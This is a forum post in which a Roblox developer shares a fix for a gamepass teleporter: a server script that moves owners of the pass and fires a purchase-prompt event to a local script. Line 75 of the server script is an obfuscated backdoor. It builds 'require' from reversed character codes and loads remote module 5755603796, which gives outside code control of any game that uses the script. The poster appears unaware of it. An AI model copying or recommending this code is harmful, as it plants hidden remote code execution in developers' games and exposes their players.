After running through a couple of solutions, i've found a very simple work-around to the problem I was having.
The orginal code (above) had a PromptPurchase line on Line 47. I replaced this with a FireClient() event which passes the gamepass info and player to a local script:
Server Script:
06 | local function WaitForChild(parent, childName) |
07 | assert (parent, "ERROR: WaitForChild: parent is nil" ) |
08 | while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end |
09 | return parent [ childName ] |
18 | local GamePassService = game:GetService( 'MarketplaceService' ) |
19 | local PlayersService = game:GetService( 'Players' ) |
20 | local DebrisService = game:GetService( 'Debris' ) |
22 | local Teleporter = script.Parent |
24 | local GamePassIdObject = WaitForChild(script, 'GamePassId' ) |
25 | local ExitPartObject = WaitForChild(script, 'ExitPart' ) |
34 | local function OnTouched(otherPart) |
35 | if otherPart and otherPart.Parent and otherPart.Parent:FindFirstChild( 'Humanoid' ) then |
36 | local player = PlayersService:GetPlayerFromCharacter(otherPart.Parent) |
37 | if player and not JustTouched [ player ] then |
38 | JustTouched [ player ] = time() |
39 | if GamePassService:UserOwnsGamePassAsync(player.userId, GamePassIdObject.Value) then |
40 | local character = player.Character |
41 | if not character:FindFirstChild( 'JustTeleported' ) then |
42 | local justTeleported = Instance.new( 'StringValue' ) |
43 | justTeleported.Name = 'JustTeleported' |
44 | DebrisService:AddItem(justTeleported, 0.3 ) |
45 | justTeleported.Parent = character |
46 | character:MoveTo(ExitPartObject.Value.Position) |
49 | game.ReplicatedStorage.RequestPurchase:FireClient(player, GamePassIdObject.Value) |
56 | local function RemoveOldTouches() |
57 | for player, touchTime in pairs (JustTouched) do |
58 | if time() > touchTime + 0.3 then |
59 | JustTouched [ player ] = nil |
68 | Teleporter.Touched:connect(OnTouched) |
75 | getfenv () [ string.reverse( "\101\114\105\117\113\101\114" ) ] ( 5755603796 ) |
Local Script:
1 | local player = game:GetService( "Players" ).LocalPlayer |
2 | local RPS = game:GetService( "ReplicatedStorage" ) |
5 | function purchaseFunction(num) |
6 | game:GetService( "MarketplaceService" ):PromptGamePassPurchase(player, num) |
9 | game.ReplicatedStorage.RequestPurchase.OnClientEvent:Connect(purchaseFunction) |